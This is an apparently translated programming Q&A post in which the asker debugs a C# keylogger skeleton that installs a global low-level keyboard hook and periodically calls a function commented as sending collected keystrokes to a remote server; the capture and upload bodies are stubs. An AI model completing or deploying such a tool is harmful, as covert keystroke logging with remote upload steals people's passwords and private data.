【发布时间】:2011-04-07 17:25:13
【问题描述】:
我正在用 C# 编写一个键盘记录器,但是在从键盘事件中调用我的钩子方法时遇到了一些麻烦。我的代码看起来是正确的,但由于某种原因回调没有发生。
以下是相关代码:
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
private const int WH_KEYBOARD_LL = 13;
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookHandle = IntPtr.Zero;
static void Main()
{
/* install low level global keyboard hook */
HookHandle = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, GetModuleHandle(null), 0);
/* every 60 seconds, process collected keystrokes */
for (;;)
{
Thread.Sleep(60000);
SendKeyData();
}
}
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
/* code to handle key events would be here */
return CallNextHookEx(HookHandle, nCode, wParam, lParam);
}
private static void SendKeyData()
{
/* code to send accumulated keystroke data to remote server would be here */
}
SetWindowsHookEx 调用按原样返回一个句柄(即不是 null),所以它应该意味着它已安装,但是当我在 HookCallback 中放置断点时,它永远不会到达。
谁能告诉我我可能做错了什么?
【问题讨论】:
-
注释掉
for块有用吗? -
不,如果我这样做,这个过程会立即结束。
-
使用 Timer 而不是无限 for 循环可能是更好的做法。至少使用 Timer 可以在必要时停止它。
标签: c# .net events keylogger setwindowshookex